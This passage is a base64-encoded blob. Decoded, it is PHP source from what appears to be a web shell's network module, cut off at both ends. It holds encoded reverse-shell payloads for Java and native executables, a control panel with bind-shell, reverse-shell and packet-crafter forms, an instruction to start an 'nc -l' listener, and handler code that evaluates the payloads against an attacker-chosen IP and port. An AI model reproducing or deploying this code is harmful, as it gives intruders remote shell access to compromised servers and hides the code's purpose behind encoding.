GV6MFdoZ2xRSkxuR3NCT0N5bHpkem5OOFVvOTJTNWFka1puZ3c3UFo2NDZnNy9GYlNaR0R2aXl0MU1obmRmWTRtMDNHLyswRGFsc0tVNFloY1lhbkw5NUdobE14bzNQOHk2UnM5Y2lhSWhDY21GbGhVL1JmNGpYVFlCaFMyTW5QZ2lSYkFKemRIVGVjTVNIdmpXVmFtQjhxNDVuMG9VeHJFbExLeWMzdC9ISzFEU2NNdWhFeFpscUZyUkFYbmpDcVcvT0FONGw5VjNHU2QrNXA3bEhpSGlXOGx0N3JwQ2pmWXhvd1VUZnZqaDJDaldMSHFoQk12T0g4WGZ1M2RubmVxcW9aMHlDaHk5WTFjbWFMMzBMQm56WVJrbUpyNHVWNWptV1JvYitmbDY5dHBGcktNTE5HZjJTay9zVUxzRUtKbm5lbHA3Z2dYM3NVaHN0UCs1dzRNd25BOG1vNmk2VjI0OHhWWHcvNnJtOVVtbk5RY3g3bHBIMjVFNmFUOER5ZmxjZUlkSnEvdnBMUk9QdGRmQUE9PSI7CiRHTE9CQUxTWydyZXNvdXJjZXMnXVsncnNfamF2YSddID0gImxWUk5iOXN3REQyblFQK0Q0Sk05QkhhVERkaldJc093WVljQkF6b3N2WFhCSUN1TXJkV1dCWW5PQjlMODkxR3k3TGhyTHoxRWtjZ244dkdSY3BheEVsSGI2eXdySkpadG5vcW16dkszNzk4OWRPdmxoYXgxWTVEOTVWdWV5aVo5Yy9QVXBBQzk3ZkpDdDNrbEJSTVZ0NWI1eTMrTVBWNWVUTFNSVzQ3QUxISWt3RVlxWGdXWVJnWjdCTFcyN0s0MHdOY09QMXo0cm5TTFN5Ujd6YVM5R2J0dVd6ejdtaFk5QTNKM0hEVEdUKzlPbjExSWpsaEttMHE3b01oK1M4YUZpM1RxUW4yKzNZSXhjZzJqdU50R3JwbHBWWng0bmhNMGgyNHp5UThJOXl1V3N3VlRzR1ArK0dIMmNiNjY2ZnhTSVJQa3BEeXV6RGhQZ21OWHlncGk4V2x4bGJBUWEwSXMwcDJSQ0hFK3ZacUtIdXJ0bTZxMVpUeVlYb3g1OG4vZEtqaUtNdjYyRjZCUk5vcEJjb1NVVkZTa0JSY1BkNFlMb0hBZTdKYXUrbEJ2NkpndnUrWlN4YVNmVkFVVnlrMWhPeEZjWlc0Y2ZPN096MFM5Smw1UmxrdVYyVEx5THJtSmx3ZUxVS2NGNEUvVGFEQjRpS1BHcG9yWEVDVXBOaithSFppdjNCS2hWS28xN0c4M2NiU1RLa3FjUE1jUWxmNmlqbS9JdG5OV1AzRE1sbEJWN0pxSlJpa1FDT3ZmcXNzKzZzL09FZmhDWnh0a1hEYmlBWkNWb1hmZE1maUdEaE45VjNOYWdTcXdYQ3htWVFRbS9pa3NhRllSQ2pDcDVzWUNIVHo2L21yVjkyUUpodVlwcExKOXFwRXhkb0Y2dE9OaVV5NWMxL3BtZC8yRXlnTDduOHo4dFdRNjRhUW1ySGZOVnFQRUl4R2tucklScjlQTFVyREhSL1l5bi9FckxLUXJ1M1Rxajh6REtEOTVvRVV6WU1mMkFVeisvb1gwSmhvcEFlNlRRaGQvdFFwbERlNTYyTkpFd1I1RVRNT1RoRzhGcVVXVE93c0ZrODc2R2JXcEk5SW5jT2o1R1YyNHI0cCt6bkNBejFKNlBzYTFUOCtIN1ZsR3Y3emlkZEx2OUE4PSI7CiRHTE9CQUxTWydyZXNvdXJjZXMnXVsncnNfZXhlY3V0YWJsZSddID0gIjdWaDVWRlBudGo5SkRrbElRZ2Fab2dZNWFCU3NpRXhWUk5DRVdRbENHUVFWU1FJSkdNbUF5UWxEdFJJYVFHS01qWFVveFpHV2VudGJxMWdwQ0NoR2dnZ1ZGV2NvSUZocEw3d3dWYjJBQlQzM29ONnVEbSt0dDliOTY2MjMzbDdaMzk3NzkvMzJ6dmVkWkozejdSTzF5UWpnQUFBQVVVVVFBTGdBdkJFTzhEK0xCbFdxY3gwVnFMSys0WElCdzd2aEVyOVZvb0t5bElvTXBWQUdwUW5sY2dVTXBZb2hwVm9PU2VSUVNIUWNKRk9JeEI0Mk5pVDIyeG94b1FEQXcrQ0FIMUthWS85ZHR3K2c0Y2dZckFNQW9RRWQxWlBvcHdHMWxhaTJ2MTNkREk1OXMyN00yL1cvVFg0emh3cnU5UWk5amVtLzRmVGZid0t0NTRjQi9tUFphZ0lBNW4rUWx4Q1Q1UG5hT2ZtN0JXSC9jbjM3VUo3WHY3Znhldit6L3NyanZPRjUvN2E1OXJjY3U3L3dURDRlbml0bXZ0ekZ4aHByWFdaMHJIdm4zWjBqVnc4Q1FDRVZaYmdCd0NJQUNCaHFRNUE0N1pCZmVRU0hBeFNaWU5hMUVEWVJJSURZNnA3eEtaQk5SZHJaRkRLZHNXaGdXRjdUVGFXM2dRVHJaSkFVWUhDZkNCanZjdGZoNk9XQUoyY2xJT0NBK015NmtkcTVYR2VLcXh1Ulc5ZjEwY3ZrY3FaQUdhUjMycnZkK25Od2xXNWpmNlpDSDB6WCtjOFgyVjUyd2JWNHhvQlMvYTJSK25QMlhEcUZmRkhiUHphYnlvS0hiQjQwNkpjUmovcVZIL2FmUEhkNUdMZkJQSCtuanJYMm5nRmVCQ2hxcW1VME43MnI1M0pNNEg1N1UwN2dldnpqbmtBRFhobFZqNWtORUhlb2tJemxoZHBKREszd3VjMHRXdEZKd2lOcHpXVXZrN2JKYlhPam15RTcrQ0FjR1hqNFZxL2lGZDR4OElDNjEzSSswSW9XRk9oMHF4am5MVWdBWVluTGNMM04rVy90Q2k4Z2dLWENxMnZ3Tks2KzhpbG1pYUhLU1BaWGRLcnExKzB0VkhreVYvdEgxTzIvRkh0eFZnSG1jY1Nwb1phNVpDTzlPM1YzUDZhb0t5bi9uNjlLNTM1ZURyTmM5VVFmbUR3NmFxaXVORngweGN0Wit6QkQ3U09UOW9YV0E1a3ZmVXFjTHhrakYyRWp5NDlXN2pjL3NrUDZkT00wb3hGSWZ6STZxYmVoTUl0YVliOEUzVS9OekF0bkg3Y0NuTzdZbEFVbUt1T1d1a3V3dm44QjBjSGExYTluWkpTOG9OVnN2SkJrR1RSeXQ1ampESk01T1ZVODd6UmsrelFqY1VQY2V3VkRTYmhyOWRjRytxK3JEZCsxZlZZSjFORW5IWWNLa1FuZDdXZGZHWW9nYS9DNlJGN3ZsRUVFdmRUZ1Q2dXd4QVFNNWM0eHhrMDdBcDN5cmZVQkxSRXZEemRQZEkwazM5ZUYxbnpRRCtTUjZCU3hlZDFtQ1dIQ1JXQnlmZWozM1dqWDN2UUZqNjZGVmlibzhiYjFUa05tZjBOb0UvdGd1a3NUTm5sWVBMc2ZzQU5iYURVQk5UbW5kaXhnc0NLYjlRbVY0ZjI2NjdaMW44UWJFcHJ3SUlmSXBvaC9IbnFYeWZKeS8rU25vYkZheDF3U3k4dFhXVjMwTVRHMVVsTFZLUGJCQlV6MjlRRUIzM28ydGlWeXR1Qm1wWnpzcCtKRVc3eXJlNzZ3MVhPSXhBNFdjVVJXSVF3T3VSZDBEMUQzczF6WXhyNnlxcDhiZW9wbjMwdFBJZEV1dDFzVGorNWdkbE5TR0hGcy9jS0Q2ZlRHbzFXVjVNZUJPZFY1L3hDSHB5K1dGdkxPNVpYNXNhTXlacm5OOW1VektodCtJc2JUNTRRWUY3bVgxajdyZm5uSlpram03MkJKdVViM0xDS3lNSmlSaDIzZmt0SXBSRjJSSFdtc3pTV055R1NsUTFIS3djOWpXNlpYM3hhNjkzYzhiMVV2Y3BBdlY4NE5hbnZKUG1iOXdzKzFIcnJLQXBoZTlNYVVDRHlHVVB4eCtvc1VldkcwVzNENnZodW45QVgyREpEK25YbHVhN3RMbkZYMTk3d0RUSXFuL3djWC80bkVHOFJqR3plbjhMY1loTlAza1lYdGtCYTI4VE1TMmdhMEZPK1dvWTd1TWRSQTkvcjdkcmRBMnVkTmM3ZDZVN0MzOU50SDdRdkdSMWVjd3NIMEN4aTdKbFlqaGYzQTNKNzZpejUrNGRtOWZVeHdxTE9LZHRGMWpXME5qN2Voc2lMUTdmNlAvQ0UrTmdrbVhiT2llRXhpNFZram02UTdLRUYrZHB5Uk5RMTJta3ROU0k5endZalZsVmZZb3ZGZGoyUDE0REhoWmYwSTdUQjIySXhaK1V3OTVMdCt4V21Qelc3elRoQ2IycHJNUnl3bkJ6NGE1byticGx5QW8wZVRkSTN2T3RZMFRZMURRTXd4MGpHdjlyK1Q1M3pobmpxaWk0eWpmZmEzVHlqYlJKYUdIdXA0OHhtQzFvYlZpQ0ZyVnUvdVdZMmRhSFRTQUZRUXdMd3c3ZzhtWXVrRlAwNjNycTRBb2ZFcml6bWFueUMxUjgrVXpMbGRreG1JejNiS3N5bmFWYkp6NkU3dWZEOE9UQ29JMmZ6TVhPYTY3QlpGQTFpYWpRRG1UbnQ1MGN2ZXJpZWphNHlFT1dWM1IzMlRITTkrMUVEZnlORWxzeU41Z1ZmYTh4em0wQ3NLRS9XamczaFBSL0EwV0RVUTFDUDJvaVZ6ZWJXN1J1RzZGUFlaenpVdys3d0ZNZGcvME8xa3grdHU2YVRzcEZrTXUwdTNQeTFPcmR2c1J3WFZTM3FJQVEvbkU5MTlmUFR2NlR1c0hxb0Q5UDU2dnhmSjV1eWFEOGhMbDFIYkR4b2NvWGpzUnhDZm91SmtpYmVZVWxRTU9uK1RQNjJySTZQNmtISWV3WG1ieHRsNTlCeE1idDZIbjdjN05MN3IwTGZpRi9GZmtURlAxejdVRjlnT2pZcU9QNjk0UmVLbEc4dWhDSUxaNGNMazJMb3V5OXlsWURhQjVHU3BrMDNsN3VwYjU4NGdSMERIMmFkQ0JnTXZ1dEgyOWRxOTYyNlZQUENQR3BjaUc2ZnBMdlVPUDRDYjZVQzlWQTl5QTlmVTFpK201VmRkNlNhT0ZZVmpibEpxaHEvMUZrelowYlRhUzlWeFYxVW1zdFo4czNiOFY3cWhtT2ErM0tsdzM5cDVoL2NQL3dvUng0aFZRZkhMUVY3aWpUYkZmUnF5MFQwalNlV2hqd05yUWVSRFk5ZnF0SmlQY2JaNXhFRDR4QWRuTW5IZXA1Y3E3K2g3OVJrR3E3djZxKzVIenR2ZTI2MmIyNjArYzloNjFhNkpwYitFbGtQVmE5TW5heDdrNFF1K0h6ay90VStBTFA2K0ZydXQ0TDh3dndxWE9JYVZNWm1EQ3NyS0p3VTkxZS8xM2dHZmV0OEVQZ1o4ZW9hZUx2WEgrSnBYTFI4dnVBTGRhc2I1c1haVlBLWjdRdis4WDBxWUtQQ05MaWQ2WG43czkyRGJQdWZXL0dNTVE0eWxUM1loVTJSUDNqWm9JV3NUSkpRdkx6T2I0S21peG1JWFpBb2h0c0kweE80WWJkOVF0cE1GYzByOWkrU2tFL2JpUkZUTm8rWE16ZWFYRm14ME1FWnZWK1QyRHZPTDRpVmpnMGhucVNGNURWdUE1OGV5SFF2Tyt5SUg4Mk9wM2RraVR3R0R2VE9DbEhiQzU0TDYvYVZuOWJoc2hxNVpudHY2Z2JWdjVZRnhtR2pVK2JMbEp2OUh0L1diaWR2dmh3YTREd3N3dUYxNTVtWGw3cGNzRjh6MlZVeXY4UWE3UUtwdVROLy9kOXhEYTczdExQTnN5dUNENDQ5S015NHV2QU9IODArSCtuZHMwT0dTbEYrMHljNHB5aXQwWDgwaXluWm1DYzdZYktFTEdzS2xSRnJlSHI1UllrZGkxdTBoQkRXSElNN2VMbGo3Ty9BOFBYWmxoNXBoaVZ6aHRwTVlUVnpaK2Ywc2ZkQ1RwTy9yaUlHL1BPUHBJM3FvblZjRTYzNmxOeTJ3L0VCbno3T3MrcnkyM2RJVkxXeXh6ZjhwUkRrcmRzdlo3SE1lRGw5THRoSVhxZnRlUFBKcGkyNWxBQnRESGcxVldLNUd1N3ZPVzlmQkR6UkZ3MldXQU11Qm82WGJ4eW04RnNmOWwwU1YzQVpDN2tHQ3hzakZ6OTVaY2dFZFJTZXJLdEhSZVBwaWFRVnF1RjhLT09pSTU4WEV6M0JDZkQxbk9GblNyVE9jQUZGRThzeXNYeEowNUhpcVROU2Q1VzU3WXZCSlUrdlNxS1N0QU1LeFArZ0xtT2FPYWZMM0ZMcHdLakdBdUdnRHNtWVBTU3BKelVqYnR0VEx4ME1rdmZ3Q1FhUUFmMTAyUDFhY0lWSEJZbVd3VktoU2lWV3BQaXQ4TTZHZkVRUlJiUlZMcFpBL2xLYVF5OFZwc0ZoRUlnSEIwVkZ4TWFIQjZDeGlZbktBS0lrOEkyZm1OQXRMWkdJb1hTaVJxcFZpZnhJQVFSc2tOUTZiWHlsaHRWRDZuanFQR1loWEtML3JxcmtPTFV6Tlc2ZUNoREJXSkZvNjNsdjd6WGJiclBVK0NmSk11U0pIRG1VVmpzaHJ4dFVpeFlZUEZHbUxKQXFHVWdIWFg1SjFrUlY3czllcjZHRWVKSi81TmRsdXFSTGhrdmZGaHMrd2hmMFF6c3BvYTdkLzR5c0U4MzRzZ05sSnhNeWxnR0FKeGkzZjhma1dXZDlsQktFQVhDcFJpdzJtZ2pMVkJDZVY2bXZGb3daZzcrRTE3a2R1NWl5SmFES2xTZXZ5cHp5eG9TUnJycGtLaHBIcEM2VDB4czZwNmhyN3JIbVFyU2JEZGxuU1hjcEJOOElSMi9Ba1R0bVg3QnFXekRnTWxWNkxDMDRvT2pWWU53NUdrQVVnMWM4NW9PV1RrZUhPWXVEcllpeEkwZUlXaXloaEd4dFQ2c3pubTRQSm1UYTdiUXFrdmJuOGx0MDQ0T3hqODkwbDNWdHNzUldVSUd1QmxpVmNRZjh5cmIxTmdHTXUyVHM3bTErcHlYbGlhWjlMeFJRdG0yWVFCQ0ZhcTQzRit0MjRzS0pQaDNkTjlsRGpHVERwNnJWbXM1T0VHa1BEeG5aU3MwdndtWmFUcld2dU9kVy9ISlp1aU5hQ3hiamRUVTlJdmtIa2pWUnY0eEU3em5YM3FMdnZUcStuMHBNTElFZmZwTFhWVi93RTV5SFpPOXdFdW9qQm0zQmVVQmljc2RCWFMvSExGZHh5djU2OTRCUnJyVlZNOExZYkg3cnZEYjdEM1YxdEUzWjMxZEc5UzlZR2hQbGY3MWcrL2g2cGVZL0s1NzNRMEVqZkh1dFJrcm5aZHJQUi9OeDRjLzZOZ3BqZ1hQbisxQU0zbFBhYmFKdUx0TzcxN1RraGJhVkpwQ0xwOHZGUFF5RStPZGtkd0d3czJXTjc4V05DL0FETVVTL0V0UnlLS1VtdlBTckZUVzhuS1ZsbHB5Umx2cnhOY0dHcERIVy91dGd4UmxXcE00N2NYSWJ6V0swS2p5ZUk3dnBHM2NYQkh4NDhmaW9LZFNzdk50MTgwSmVOdWdOUHAvRzlkSGl3N01wNkZ1RWRQMXdZV3VoVVRGSjZsaWJCS0Nzck1aYkIxNDJMU3lweFdkQXlFZG9IWkxtc3FyUUMzR2llR2taSFFCWk9GaEx4bWVhY05SUmZuOFVFRXc2QlNEdjMvc3ZaUmc3QXd0a2xhQ0s1UUJLT1VyQjNEekcvazhVdDlSUmlncVVLbFJoODNqc2RJWlNMcEdLbFdBaUxZNVNLTk9UNmNQVitMaTFFYkErTEpiQWtUU2lORTZkVjkvQTRjUTZoY2p1bGZiVlZabUl1M1o4U3ZxSkhycWhabUMyaHltWGlwUnVFN3NMVWp1ckE2a2d1a3lkVXNaUnpsRGJQYjN6NE1rb2hVa3NMbkVPNHlQaVFsWDFFSEx3YVZtZXRsYWNyRHZVa3F5QjhUcmJrL1UvR1plSXUzcVZzZXlLY0lOL0svL2xWOVhMUjU4ZXpITUlrVWpNTHExd3hFUzlWQ1U5STFhOWl2Qi9lT0pNUEI5Q3FaRFdPRFRhSndxU3dxamp5eURkV3cydWpVN2ZORC8raXEvcWxieTZmbnhFdW15Ly9Pa01iMWRHZ29tWmh4UmliOUIwN1hsVExCc1Z1S3I0d2l3SG5aZEZxYjh6K1liOGY0VkNxMVpLMlI2YzlxQXM5L2VBZlJtWW4wMHVaQklYRVNwNllNdEFuWFFoZzB1ZW41enp2VGU3UEljakVzclNzdk5VRWxTUkQzdW53dzNXaE5EczlDeXBPUDFzcDdSci9XMU5pSERlT2s3bVFhMWNmVkc1enB5MjQ2eDJwVTUzMWVTaFhsYmE4ZGtMWXNDTlZJaGQ1cXdKbUpUdWtndzRkR1ZzVjJaMmI2bFB6dHU4NnRWVXV4ZVBEMjVVcTZTWmkvc3JpekJXY2d6R2hQQXdSN1ovNUdrRkxjMno3VE9kTTlpZi82QURNMG1GTlE5SVFQcGwrMkpPOGVjNzhic2Q3R0RBZ1QzNkxlcExDeVZxQ0F5Q0M4czRLa002bFozWGkxM2tjdERJdVorSmFsWURuOWphUEQyVWxsT2JkSlF6ajR5THlWQys0UU9BazhCQU5STjVlSVJXZW44SldPQXdOeVZ5WUpnK2wyeVRkRU4zYTZjcmtlSWkzRm5SQVBVWEtzcE00VmN3YzE1WUpIaTVWclRVTHdrcDNPbXB5Sk1GWm81aUt3UlA0ZWNHeDhYNDBRY1lCNWdtMkt5eFZIYUk4RFlDTWk3WXl4aTdOQlFvWWJ6cFZOb0M4N1ZrRkRmYVZITURRWU9FalNLTDJCbUtoRzEvTEhueFlDU0VjMDZVbTZPZHBSNllaWGNyaEN6TnQvTzhRaGduVHBScFZXNzhOVmYxZXJkb0JuTkxtU2g4UnpkYU9JVENzdS9wN2Z1c2ZBalhFL2RQa0g0cHByMkFMWGdMUEVFUjdHMk93VzZaOU9aMU4yNE1OUWhlMVZqMHhtSVkrTVl4NnJMWVIxQkcwMTBEdElKanpDK2JXSUErRlUzUVR0VHZSbGU0aGhMc1BCR0J5SmpSckFQVlRQV0VQSDB5L01rQzhZcUlYTnkyZTFGZ0dNR016dVZZbEhUOTJHaG9BSXdEb0NkWW1PRURQQncyRm5vQUozZXV6R08wMUluSlloUHFIMEhKRUU5eXRlNUVZOGZSTUFuSjQ1c1VFU2lmb2NGb3phSG1NSE01RkFmMFpLVHFpMWNZUXBIN21WVUZNL0RZd0xoRzViOWg5QXIxNkdpaGZJM0RMVDRxSmo1a0Jrd3pIWjRpRytyVm9VcUtYNmF1TmEyTzJZZUtRMjBKRENGdXpEVmpacFA1Vk82UVo5SXRGRU11Y0RRMmdoZ05NZjFOa2dtMjI0VFlpTUp2KzQ2OUl1MlVrcFpHQ2xqWnhBQzJxZG9JMzluY1NZZUlBL3kvL0M2UzBIUUJFN1gvRXZrQmp6Wit3U2pRdStSTldqOGJHOXYrK2JqT0szME8xSDlYbnFHSnZBd0Q5OXB1NWVXOHQrNjMxZkdzalEyUFhoL0o4dkQxQ2VEeEFwc3BPVThMb01VNEtKTVo1ODFIMGpSc2RIUG1XQWZBVVFoRlBrcW9VS3ZPNEFCQXVobWVlVDF5UlNDbFdxUUJnZytUMTBRekZZUFJvOTF2TWxVb1ZhYjlGWVVxeEdQM20wRnpKNitUWGlRQmZva2hGLy96b0hWdVJsaW1HMGRvek4rZi9PNy81dndBPSI7CgokR0xPQkFMU1snbW9kdWxlJ11bJ25ldHdvcmsnXVsnaWQnXSA9ICJuZXR3b3JrIjsKJEdMT0JBTFNbJ21vZHVsZSddWyduZXR3b3JrJ11bJ3RpdGxlJ10gPSAiTmV0d29yayI7CiRHTE9CQUxTWydtb2R1bGUnXVsnbmV0d29yayddWydqc19vbnRhYnNlbGVjdGVkJ10gPSAiIjsKJEdMT0JBTFNbJ21vZHVsZSddWyduZXR3b3JrJ11bJ2NvbnRlbnQnXSA9ICIKPHRhYmxlIGNsYXNzPSdib3h0YmwnPgo8dGhlYWQ+Cgk8dHI+PHRoIGNvbHNwYW49JzInPjxwIGNsYXNzPSdib3h0aXRsZSc+QmluZCBTaGVsbDwvcD48L3RoPjwvdHI+CjwvdGhlYWQ+Cjx0Ym9keT4KCTx0cj48dGQgc3R5bGU9J3dpZHRoOjE0NHB4Jz5TZXJ2ZXIgSVA8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2JpbmRBZGRyJyB2YWx1ZT0nIi4kc2VydmVyX2FkZHIuIicgZGlzYWJsZWQ+PC90ZD48L3RyPgoJPHRyPjx0ZD5Qb3J0PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdiaW5kUG9ydCcgdmFsdWU9JyIuJGRlZmF1bHRfcG9ydC4iJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAncnNfZ29fYmluZCcpO1wiPjwvdGQ+PC90cj4KPC90Ym9keT4KPHRmb290PgoJPHRyPgoJCTx0ZCBzdHlsZT0nd2lkdGg6MTQ0cHg7Jz4KCQkJPHNlbGVjdCBpZD0nYmluZExhbmcnIGNsYXNzPSdyc1R5cGUnPgoJCQkJIi4kd2luYmluYXJ5LiIKCQkJPC9zZWxlY3Q+CgkJPC90ZD4KCQk8dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cInJzX2dvX2JpbmQoKTtcIiBzdHlsZT0nd2lkdGg6MTIwcHg7Jz5ydW48L3NwYW4+PC90ZD4KCTwvdHI+Cgk8dHI+PHRkIGNvbHNwYW49JzInPjxwcmUgaWQ9J2JpbmRSZXN1bHQnPlByZXNzICcgcnVuICcgYnV0dG9uIGFuZCBydW4gJyBuYyBzZXJ2ZXJfaXAgcG9ydCAnIG9uIHlvdXIgY29tcHV0ZXI8L3ByZT48L3RkPjwvdHI+CjwvdGZvb3Q+CjwvdGFibGU+Cjxicj4KPHRhYmxlIGNsYXNzPSdib3h0YmwnPgo8dGhlYWQ+Cgk8dHI+PHRoIGNvbHNwYW49JzInPjxwIGNsYXNzPSdib3h0aXRsZSc+UmV2ZXJzZSBTaGVsbDwvcD48L3RoPjwvdHI+CjwvdGhlYWQ+Cjx0Ym9keT4KCTx0cj48dGQgc3R5bGU9J3dpZHRoOjE0NHB4Jz5UYXJnZXQgSVA8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2JhY2tBZGRyJyB2YWx1ZT0nIi4kcmVtb3RlX2FkZHIuIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ3JzX2dvX2JhY2snKTtcIj48L3RkPjwvdHI+Cgk8dHI+PHRkPlBvcnQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2JhY2tQb3J0JyB2YWx1ZT0nIi4kZGVmYXVsdF9wb3J0LiInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdyc19nb19iYWNrJyk7XCI+PC90ZD48L3RyPgo8L3Rib2R5Pgo8dGZvb3Q+Cgk8dHI+CgkJPHRkIHN0eWxlPSd3aWR0aDoxNDRweDsnPgoJCQk8c2VsZWN0IGlkPSdiYWNrTGFuZycgY2xhc3M9J3JzVHlwZSc+CgkJCQkiLiR3aW5iaW5hcnkuIgoJCQk8L3NlbGVjdD4KCQk8L3RkPgoJCTx0ZD48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwicnNfZ28oJ2JhY2snKTtcIiBzdHlsZT0nd2lkdGg6MTIwcHg7Jz5ydW48L3NwYW4+PC90ZD4KCTwvdHI+Cgk8dHI+PHRkIGNvbHNwYW49JzInPjxwcmUgaWQ9J2JhY2tSZXN1bHQnPlJ1biAnIG5jIC1sIC12IC1wIHBvcnQgJyBvbiB5b3VyIGNvbXB1dGVyIGFuZCBwcmVzcyAnIHJ1biAnIGJ1dHRvbjwvcHJlPjwvdGQ+PC90cj4KPC90Zm9vdD4KPC90YWJsZT4KPGJyPgo8dGFibGUgY2xhc3M9J2JveHRibCc+Cjx0aGVhZD4KCTx0cj48dGggY29sc3Bhbj0nMic+PHAgY2xhc3M9J2JveHRpdGxlJz5TaW1wbGUgUGFja2V0IENyYWZ0ZXI8L3A+PC90aD48L3RyPgo8L3RoZWFkPgo8dGJvZHk+Cgk8dHI+PHRkIHN0eWxlPSd3aWR0aDoxMjBweCc+SG9zdDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0ncGFja2V0SG9zdCcgdmFsdWU9J3RjcDovLyIuJHNlcnZlcl9hZGRyLiInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdwYWNrZXRfZ28nKTtcIj48L3RkPjwvdHI+Cgk8dHI+PHRkPlN0YXJ0IFBvcnQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J3BhY2tldFN0YXJ0UG9ydCcgdmFsdWU9JzgwJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAncGFja2V0X2dvJyk7XCI+PC90ZD48L3RyPgoJPHRyPjx0ZD5FbmQgUG9ydDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0ncGFja2V0RW5kUG9ydCcgdmFsdWU9JzgwJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAncGFja2V0X2dvJyk7XCI+PC90ZD48L3RyPgoJPHRyPjx0ZD5Db25uZWN0aW9uIFRpbWVvdXQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J3BhY2tldFRpbWVvdXQnIHZhbHVlPSc1JyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAncGFja2V0X2dvJyk7XCI+PC90ZD48L3RyPgoJPHRyPjx0ZD5TdHJlYW0gVGltZW91dDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0ncGFja2V0U1RpbWVvdXQnIHZhbHVlPSc1JyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAncGFja2V0X2dvJyk7XCI+PC90ZD48L3RyPgo8L3Rib2R5Pgo8dGZvb3Q+Cgk8dHI+PHRkIGNvbHNwYW49JzInPjx0ZXh0YXJlYSBpZD0ncGFja2V0Q29udGVudCcgc3R5bGU9J2hlaWdodDoxNDBweDttaW4taGVpZ2h0OjE0MHB4Oyc+R0VUIC8gSFRUUC8xLjFcXHJcXG5cXHJcXG48L3RleHRhcmVhPjwvdGQ+PC90cj4KCTx0cj4KCQk8dGQ+CgkJCTxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJwYWNrZXRfZ28oKTtcIiBzdHlsZT0nd2lkdGg6MTIwcHg7Jz5ydW48L3NwYW4+CgkJPC90ZD4KCQk8dGQ+WW91IGNhbiBhbHNvIHByZXNzIGN0cmwrZW50ZXIgdG8gc3VibWl0PC90ZD4KCTwvdHI+Cgk8dHI+PHRkIGNvbHNwYW49JzInPjxkaXYgaWQ9J3BhY2tldFJlc3VsdCc+PC9kaXY+PC90ZD48L3RyPgo8L3Rmb290Pgo8L3RhYmxlPgoiOwoKCmlmKGlzc2V0KCRwWydyc0xhbmcnXSkgJiYgaXNzZXQoJHBbJ3JzQXJncyddKSl7CgkkcnNMYW5nID0gJHBbJ3JzTGFuZyddOwoJJHJzQXJncyA9ICRwWydyc0FyZ3MnXTsKCSRyZXMgPSAiIjsKCglpZigkcnNMYW5nPT0icGhwIil7CgkJJGNvZGUgPSBnZXRfcmVzb3VyY2UoInJzXyIuJHJzTGFuZyk7CgkJaWYoJGNvZGUhPT1mYWxzZSl7CgkJCSRjb2RlID0gIlwkdGFyZ2V0ID0gXCIiLiRyc0FyZ3MuIlwiOyA/PiIuJGNvZGU7CgkJCSRyZXMgPSBldmFsX2dvKCRyc0xhbmcsICRjb2RlLCAiIiwgIiIpOwoJCX0KCX0KCWVsc2V7CgkJJGNvZGUgPSBnZXRfcmVzb3VyY2UoInJzXyIuJHJzTGFuZyk7CgkJaWYoJGNvZGUhPT1mYWxzZSl7CgkJCSRyZXMgPSBldmFsX2dvKCRyc0xhbmcsICRjb2RlLCAiIiwgJHJzQXJncyk7CgkJfQoJfQoKCWlmKCRyZXM9PT1mYWxzZSkgJHJlcyA9PSAiZXJyb3IiOwoJb3V0cHV0KGh0bWxfc2FmZSgkcmVzKSk7Cn0KZWxzZWlmKGlzc2V0KCRwWydwYWNrZXRUaW1lb3V0J10pJiZpc3NldCgkcFsncGFja2V0U1RpbWVvdXQnXSkmJmlzc2V0KCRwWydwYWNrZXRQb3J0J10pJiZpc3NldCgkcFsncGFja2V0VGltZW91dCddKSYmaXNzZXQoJHBbJ3BhY2tldENvbnRlbnQnXSkpewoJJHBhY2tldEhvc3QgPSB0cmltKCRwWydwYWNrZXRIb3N0J10pOwoJaWYoIXByZWdfbWF0Y2goIi9bYS16MC05XSs6XC9cLy4qLyIsICRwYWNrZXRIb3N0KSkgJHBhY2tldEhvc3QgPSAidGNwOi8vIi4kcGFja2V0SG9zdDsKCgkkcGFja2V0UG9ydCA9IChpbnQpICRwWydwYWNrZXRQb3J0J107CgoJJHBhY2tldFRpbWVvdXQgPSAoaW50KSAkcFsncGFja2V0VGltZW91dCddOwoJJHBhY2tldFNUaW1lb3V0ID0gKGludCkgJHBbJ3BhY2tldFNUaW1lb3V0J107CgoJJHBhY2tldENvbnRlbnQgPSAkcFsncGFja2V0Q29udGVudCddOwoJaWYoY3R5cGVfeGRpZ2l0KCRwYWNrZXRDb250ZW50KSkgJHBhY2tldENvbnRlbnQgPSBAcGFjaygiSCoiICwgJHBhY2tldENvbnRlbnQpOwoJZWxzZXsKCQkkcGFja2V0Q29udGVudCA9IHN0cl9yZXBsYWNlKGFycmF5KCJcciIsIlxuIiksICIiLCAkcGFja2V0Q29udGVudCk7CgkJJHBhY2tldENvbnRlbnQgPSBzdHJfcmVwbGFjZShhcnJheSgiXFxyIiwiXFxuIiksIGFycmF5KCJcciIsICJcbiIpLCAkcGFja2V0Q29udGVudCk7Cgl9CgoJJHJlcyA9ICIiOwoKCgkkc29jayA9IGZzb2Nrb3BlbigkcGFja2V0SG9zdCwgJHBhY2tldFBvcnQsICRlcnJObywgJGVyclN0ciwgJHBhY2tldFRpbWVvdXQ